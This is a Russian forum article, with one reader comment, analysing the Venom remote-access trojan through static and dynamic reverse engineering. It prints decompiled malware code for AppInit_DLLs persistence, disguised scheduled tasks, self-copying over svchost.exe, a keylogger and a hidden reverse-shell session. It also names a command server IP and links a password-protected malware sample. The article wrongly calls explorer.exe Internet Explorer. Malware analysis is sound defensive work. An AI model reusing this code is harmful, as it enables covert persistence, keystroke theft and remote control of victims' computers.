• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья Черный паразит. Изучаем работу ратника Venom

Temporary logo.jpg

Введение
Не так давно большинство новостных каналов заполонили новости о работе вредоносного программного обеспечения. Существует множество вирусов для контроля системы и все они очень хорошо прячутся и самообороняются от нежелательного изучения исходного кода. Разработчики придумывают все более изощренные способы защиты и иногда ставят в тупик даже опытных реверс инженеров. Но поговорим немного о другом. Обычно за созданием вредоносов стоят хакерские группировки, которые придумывают свою версию малвари лишь бы ее не мог найти антивирус. А теперь я открою тебе глаза и скажу, что существуют целые компании по созданию ратников для администрирования компьютеров. Да, это не очередная опечатка, а реальный факт. Давай я на примере частной компании разберу их продукт с очевидным и громким названием Venom.


План работы
Он, на удивление, очень короткий и простой. Я постараюсь объяснить тебе как работает такого типа малварь, что она делает, куда передает информацию и как закрепляется в системе. Вся демонстрация будет проводится на старой версии продукта, поскольку найти крякнутый и современный вариант этого зверя мне не удалось. Начнем наше путешествия как всегда со статического анализа PE-файла. Плавно перейдем к динамической работе и завершим все итогами по нашей работе. Что может быть проще?


Статический анализ
Итак, по традиции и с благоразумной точки зрения закинем наш файл в DiE. Он немного покапается в заголовках, расскажет нам на чем стоит приложение и какие библиотеки оно импортирует. Взгляни на результаты.


DiE_Scan.jpg


Итак, по традиции и с благоразумной точки зрения закинем наш файл в DiE. Он немного покопается в заголовках, расскажет нам на чем стоит приложение и какие библиотеки оно импортирует. Взгляни на результаты.

Entropy.jpg


Прежде всего в глаза бросается полоса статуса, которая остановилась ровно на 80% и пояснением несжатый. И эти слова подтверждаются секциями. Ни одна из них не имеет обвеса и какой либо защиты. Парадокс! Но не будем ослаблять хватку и продвинемся дальше в изучении нашего вируса.

После таких манипуляций попробуем посмотреть таблицу импорта и экспорта. Заранее скажу, что на экспорт каких либо функций я к сожалению не нашел. Ну а для всего этого дела воспользуемся FileAlyzer. Ниже его вердикт по этому поводу.

Venom_Alyzer.jpg


Удивительно. В таблице всего лишь одна библиотека и соответственно одна функция. Давай приблизимся к нашей цели и попробуем приоткрыть занавесу с исходным кодом посмотрев какие действия выполняет наш вирус в системе. Чтобы преждевременно не прибегать к динамическому анализу я воспользовался программой pestudio и вот что из этого получилось.

Requests.jpg


Из таблицы выше ты можешь отчетливо видеть как наша малварь пытается связаться с неизвестным нам хостом и скачать отдельные файлы с него. Попробуем прогнать этот IP адрес через nmap и посмотрим, находится ли он вообще в сети. Спустя несколько минут ты получишь примерно такую картину:

Код:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-03 19:33 MSK
Nmap scan report for ip16.ip-91-134-207.eu (91.134.207.16)
Host is up.
All 1000 scanned ports on ip16.ip-91-134-207.eu (91.134.207.16) are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.18 seconds

Ну и для убеждения проверим по whois, что это вообще за адрес. А расположен он во Франции и собрать о нем много информации к сожалению не получится, поэтому будем двигаться дальше, ну а ниже я оставил лог с сайта с подробной информацией об IP.

Код:
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: this output has been filtered.
%       To receive output for a database update, use the "-B" flag.

% Information related to '91.134.207.16 - 91.134.207.31'

% Abuse contact for '91.134.207.16 - 91.134.207.31' is 'support@hosterdaddy.com'

inetnum:        91.134.207.16 - 91.134.207.31
netname:        OVH_111463049
descr:          OVH Static IP
country:        FR
org:            ORG-HD37-RIPE
admin-c:        OTC2-RIPE
tech-c:         OTC2-RIPE
status:         ASSIGNED PA
mnt-by:         OVH-MNT
created:        2016-07-07T14:58:44Z
last-modified:  2016-07-07T14:58:44Z
source:         RIPE

% Information related to '91.134.0.0/16AS16276'

route:          91.134.0.0/16
origin:         AS16276
mnt-by:         OVH-MNT
created:        2016-04-15T11:43:03Z
last-modified:  2016-04-15T11:43:03Z
source:         RIPE
descr:          OVH

% This query was served by the RIPE Database Query Service version 1.103 (HEREFORD)

Переключаемся на наш любимый pestudio и во вкладке строк поищем что-нибудь интересное. К примеру наш паразит для выхода в онлайн и установки прослушки хоста использует известную программу ngrok. Крайне необычная находка, особенно с учетом всех обстоятельств. Можешь посмотреть на это сам.

Strings.jpg


Также Веном использует PowerShell в своих целях. Зачем-то убивает процесс explorer.exe, он же всеми любимый Internet Explorer и взаимодействует с парочкой системных процессов, один из них тебе уже знаком. Итак, такие строки выглядят крайне подозрительно для такого вируса. Кому придет в голову работать с древним браузере, тем более убивать его через консоль. Адрес из последних 4-х строк мы с тобой разобрали, поэтому останавливаться на них я не буду.

Итак, мы знаем базовую информацию и то, что файл чем-то покрыт (это ты заметишь из энтропии так как она стоит на 80%) также на эту мысль наводит тот факт, что таблица импорта состоит всего лишь из одной библиотеки и функции, которая в ней хранится. Так как работаем мы с NET приложением, то я решил отдать на растерзание вирус программе de4dot. До этого я упоминал ее в статьях как хороший инструмент для борьбы с NET Reactor. Но как ты понимаешь, вскрытие реактора это только одна из функций этой утилиты. Запускаем нашу консоль и вводим примерно такую команду:

Код:
C:\путь_до_утилиты\de4dot.exe C:\путь_до_вируса\$77-Venom.exe

Также ты можешь импортировать репозиторий отсюда прямиком в Visual Studio, собрать его и пользоваться консольной версией программы без каких либо проблем.

Таким образом утилита обрабатывает файл и создает такой же с пометкой cleaned, что означает очищен. Кидаем файл в dotPeek и любуемся результатом. Ниже я поместил скриншот до расшифровки и после нее.

Cryptcode.jpg


Decryptcode.jpg


Как ты понял, вирус имеет какой-то китайский обфускатор. Но нас он не остановил, поэтому теперь ты можешь в корень изучить весь код. Я лишь расскажу об основных ветках и за что они отвечают, чтобы тебе было легче ориентироваться.

Ознакомиться с фундаментальными функциями вируса, такими как запись видео, аудио и сбор информации ты можешь в ветке xClient.Core.Packets.ClientPackets. Они обеспечивают работу со стороны зараженной машины, ну а функция по соседству уже отвечает за работу со стороны сервера, она же имеет название xClient.Core.Packets.ServerPackets. Чтобы не спалить соединение в системе Веном использует встроенное прокси, его можно увидеть в названии xClient.Core.ReverseProxy.Packets. Далее идет дополнительный функционал. Полезные нагрузки, кейлогеры и стиллеры. Все это ты оценишь в функции Utilities. Все подробно я разберу позднее.

Итак, со статическим анализом мы разобрались. У нас есть исходный код и на этом можно было завершить наши исследования, но давай все же посмотрим какие данные передает вирус и как он адаптируется в системе.

Динамический анализ
Первым делом я решил убедиться в том, что вирус действительно пытается связаться с определенным хостом. Для этого используем наш любимый Wireshark. К сожалению, что-либо связанное с нашим айпишником мне не удалось найти, но при запуске наш вирус отправляет информацию на некий адрес. Попробуем отфильтровать его и посмотрим, что у нас получится. Для этого я использовал следующий фильтр:

Код:
ip.dst == 208.95.112.1

IPdst.jpg


Первым делом компьютер устанавливает соединения путем отправки начального пакета. Далее идет ответ от сервера и передача информации по протоколу HTTP. Давай посмотрим, что он содержит. Кликаем правой кнопкой мыши по полю с интересующим нас протоколом. В выпадающем списке функций выбираем Следовать -> HTTP. И в итоге мы видим, что вирус отправляет наше местоположение и данные о нашем браузере. Интересно, как так получилось? На самом деле все очень просто. Если вбить этот IP в адресную строку, то нас перекинет на сайт . С его помощью Веном вытаскивает всю информацию и отправляет на сервер.

Также вирус добавляет к этому наименования твоего компьютера для дальнейшей передачи на сервер. Больше ничего полезного в перехваченных пакетах нету. Попробуем испытать удачу еще раз и обратимся к TCPView. Запускаем наш вирус и переходим на него в окне программы. Кликаем правой кнопкой мыши по процессу и выполняем функцию whois, тем самым тебе предоставят данные о том, куда и зачем обращается вирус. Пример такой работы ты можешь увидеть ниже.

ip_api.jpg


И вот нашлась наша вторая зацепка. Веном наблюдает за твоим устройством при помощи программы для записи экрана Bandicam. Довольно известный продукт. Теперь давай посмотрим, что импортирует наш вирус в период активности. Если на статическом анализе было все крайне просто, одна библиотека и одна функция, то в процессе работы картина меняется и количество импортируемых функций значительно шире. Давай убедимся в этом при помощи утилиты Explorer Suite. В себе она имеет Task Explorer для отслеживания процессов в реальном времени. Запустим его и найдем нашего паразита. Далее ты увидишь примерно такую картину:

taskexplorer.jpg


Как ты видишь, в процессе работы вирь подгружает такие библиотеки как ntdll и wow. Самые стандартные системные файлы, которые можно найти на локальном диске. Больше пользы чем исходный код нам уже программа не принесет. Давай как раз вернемся к нему и посмотрим, какую полезную информацию мы можем вытащить.


Разбираем исходный код
Итак, еще на ранних этапах я показал тебе как добраться до исходного кода нашего вируса. Спешу тебя оповестить о том, что в себе программа содержит еще несколько полезных файлов которые мы можем вытащить при помощи ExtremeDumeper. Чтобы провернуть все это дело тебе следует запустить сам дампер и вместе с ним малварь. Дальше используя интуитивно понятный интерфейс дампишь все это дело в удобное для тебя место. Выглядит это все примерно так:

Dump.jpg


Как ты уже заметил у нас появилось еще два PE-файла с довольно понятными названиями. Закинем их к нашему Веному в dotPeek. Сам файл Install, подгружая библиотеки, создает файл с определенным именем. Его генерация в коде выглядит следующим образом:

C#:
public static void Install(bool is64bit)
    {
      string str1 = "x" + (is64bit ? 64 : 86).ToString() + ".dll";
      string str2 = Path.Combine(Path.GetTempPath(), "$77-" + Guid.NewGuid().ToString("N") + "-" + str1);
      File.Copy(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "r77-" + str1), str2);
      new FileInfo(str2).Attributes |= FileAttributes.Temporary;
      using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, is64bit ? RegistryView.Registry64 : RegistryView.Registry32).OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", true))
      {
        registryKey.SetValue("LoadAppInit_DLLs", (object) 1);
        registryKey.SetValue("RequireSignedAppInit_DLLs", (object) 0);
        registryKey.SetValue("AppInit_DLLs", (object) str2);
      }
    }

И как ты мог заметить все это дело копируется у нас в реестре по соответствующему пути. Конечно, если почитать весь код внимательно, то можно понять, что таким образом вирус закрепляется в системе для дальнейшей эволюции в rootkit. Ну а такого паразита из системы будет гораздо сложнее вытащить. В ветке ресурсов ты можешь посмотреть версию библиотек.

Перейдем к еще одному любопытному файлу с названием Chrome. В главной функции содержится ветка, которая подгружает стандартные библиотеки Windows и закрепляется в системе путем создания копии по пути: C:\\windows\\system32. Присмотревшись к названием переменных, ты можешь увидеть такие название как payload, которые говорят сами за себя. Малварь пытается всеми силами выжить в системе. Также есть всеми любимый Thread.Sleep, который позволяет не палиться если все пойдет через одно место. Ну а скомпилировано все это дело при помощи Visual Studio версии 16.5.0 от 2019 года. Хотя самое интересное начинается в функции CopyMySelf на ветке Program. Здесь, созданные полезные нагрузки склеиваются с известными программами, чтобы скрыть следы присутствия в системе. Все выполняется от имени администратора и вот тому подтверждения в коде:

C#:
string str1 = "Onedrive-Standalone";
string sourceFileName1 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "$77-Venom.exe");
string str2 = "Onedrive";
string path1 = "%AppData%\\Roaming";
string str3 = Path.Combine(path1, "Install.exe");
string str4 = Path.Combine(path1, "$77Install.exe");

Здесь у нас происходит копирования в системные папки, а дальше малварь проверяет наличия прав суперпользователя. И если они имеются, то происходят такие действия:

C#:
if (WindowsAccountHelper.GetAccountType() == "Admin")
      {
        try
        {
          string environmentVariable = Environment.GetEnvironmentVariable("SYSTEMROOT/tasks");
          string name = WindowsIdentity.GetCurrent().Name;
          Process.Start(new ProcessStartInfo()
          {
            FileName = "cmd",
            Arguments = "/k start /b powershell Cacls " + environmentVariable + " /e /t /g " + name + ":F  & exit",
            CreateNoWindow = true,
            WindowStyle = ProcessWindowStyle.Hidden,
            UseShellExecute = true,
            ErrorDialog = false
          });
          Process.Start(new ProcessStartInfo("schtasks")
          {
            Arguments = "/create /tn " + str2 + " /sc ONLOGON /tr \"" + sourceFileName1 + "\" /rl HIGHEST /f",
            UseShellExecute = false,
            CreateNoWindow = true
          }).WaitForExit(1000);
          Process.Start(new ProcessStartInfo("schtasks")
          {
            Arguments = "/create /tn " + str1 + " /sc ONLOGON /tr \"" + str4 + "\" /rl HIGHEST /f",
            UseShellExecute = false,
            CreateNoWindow = true
          }).WaitForExit(1000);
          string str5 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonStartup), "$77Nvidia_Update.exe");
          string str6 = "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}";
          Process.Start(new ProcessStartInfo("schtasks")
          {
            Arguments = "/create /tn " + str6 + " /sc ONLOGON /tr \"" + str5 + "\" /rl HIGHEST /f",
            UseShellExecute = false,
            CreateNoWindow = true
          }).WaitForExit(1000);
        }

Как ты видишь первым делом запускается оболочка PowerShell и производится ряд команд. Далее как всегда запускается еще один вредоносный процесс и производятся операции непосредственно с ним. После происходит комбинация и создание процесса Nvide_Update. Не повезло конечно поклонникам Radeon в этом случаи. Даже svchost попадает под раздачу.

C#:
string str10 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "svchost.exe");
        File.Copy(sourceFileName1, str10);
        Process.Start(new ProcessStartInfo()
        {
          WindowStyle = ProcessWindowStyle.Hidden,
          CreateNoWindow = true,
          UseShellExecute = false,
          FileName = str10
        });

Также рекомендую оценить кейлогер. О его расположении я говорил выше и записывает он информацию в формате нажатая_клавиша-час:минуты. Ниже я привел часто кода, где это все реализуется.

C#:
private void OnKeyDown(object sender, KeyEventArgs e)
    {
      string input = GClass57.smethod_4();
      if (!string.IsNullOrEmpty(input) && input != this._lastWindowTitle)
      {
        this._lastWindowTitle = input;
        this._logFileBuffer.Append("<p class=\"h\"><br><br>[<b>" + GClass57.smethod_2(input) + " - " + DateTime.Now.ToString("HH:mm") + "</b>]</p><br>");
      }
      if (this._pressedKeys.IsModifierKeysSet() && !this._pressedKeys.Contains(e.KeyCode))
      {
        this._pressedKeys.Add(e.KeyCode);
      }
      else
      {
        if (e.KeyCode.IsExcludedKey() || this._pressedKeys.Contains(e.KeyCode))
          return;
        this._pressedKeys.Add(e.KeyCode);
      }
    }

В дополнении происходит конвертация служебных клавиш как пробел, esc и enter. Происходит это в отдельном контейнере switch:

C#:
switch (strArray[index])
          {
            case "Return":
              stringBuilder1.Append("<p class=\"h\">[Enter]</p><br>");
              continue;
            case "Escape":
              stringBuilder1.Append("<p class=\"h\">[Esc]</p>");
              continue;
            default:
              stringBuilder1.Append("<p class=\"h\">[" + strArray[index] + "]</p>");
              continue;
          }

Файл с данными отправляется на сервер в формате месяца дня и года.

C#:
 string str = Path.Combine(Keylogger.LogDirectory, DateTime.Now.ToString("MM-dd-yyyy"));

Обратная Shell оболочка работает слегка иначе. При ее включении первым делом указывается нужная кодировка для правильного отображения символов. Все последующие команды выполняются с флагом /k, что означает их бесконечность. Проще говоря они исполняются без последующего завершения. Всю эту информацию ты найдешь в цикле создания сессии. Я приложил его ниже.

C#:
private void CreateSession()
    {
      lock (this._readLock)
        this._read = true;
      this._encoding = Encoding.GetEncoding(CultureInfo.InstalledUICulture.TextInfo.OEMCodePage);
      this._prc = new Process()
      {
        StartInfo = new ProcessStartInfo("cmd")
        {
          UseShellExecute = false,
          RedirectStandardInput = true,
          RedirectStandardOutput = true,
          RedirectStandardError = true,
          StandardOutputEncoding = this._encoding,
          StandardErrorEncoding = this._encoding,
          CreateNoWindow = true,
          WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)),
          Arguments = "/K"
        }
      };
      this._prc.Start();
      this.RedirectOutputs();
      this.ExecuteCommand("chcp " + this._encoding.CodePage.ToString());
      new DoShellExecuteResponse(Environment.NewLine + ">> New Session created" + Environment.NewLine).Execute((GClass18) Class5.gclass19_0);
    }

Все файлы для работы я оставил для тебя в конце статьи, поэтому если интересно повторить действия из статьи, то ты спокойно можешь это сделать. Теперь давай плавно перейдем к нашему завершению, ведь мы прошли весь путь в изучении этой малвари. Остается выяснить важные моменты, чем мы сейчас и займемся.

Подводим итоги
Итак, в этой статье я постарался максимально понятно и доходчиво объяснить как разреверсить такую малварь. Конечно, до дизассемблирования дело не дошло, но в дальнейших статьях я просвещу тебя в это дело и покажу как бороться с упаковщиками и обфускаторами на уровне ассемблера. Ниже предоставлен тот самый архив с файлами по которому я работал. Для
защиты от нежелательного удаления антивируса на нем установлен пароль: codeby.
 

Вложения

  • Malware.zip
    1,1 МБ · Просмотры: 166
Последнее редактирование модератором:

N1GGA

Codeby Team
Platinum
16.07.2018
326
333
BIT
224
Зачем-то убивает процесс explorer.exe, он же всеми любимый Internet Explorer и взаимодействует с парочкой системных процессов, один из них тебе уже знаком.​
explorer.exe - это обычный проводник, который отвечает за отображение окружающей среды пользователя Windows. У браузера Internet Explorer, хоть и похожий, но чуть другой процесс - iexplore.exe
А так, хорошая исследовательская работа 👍
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!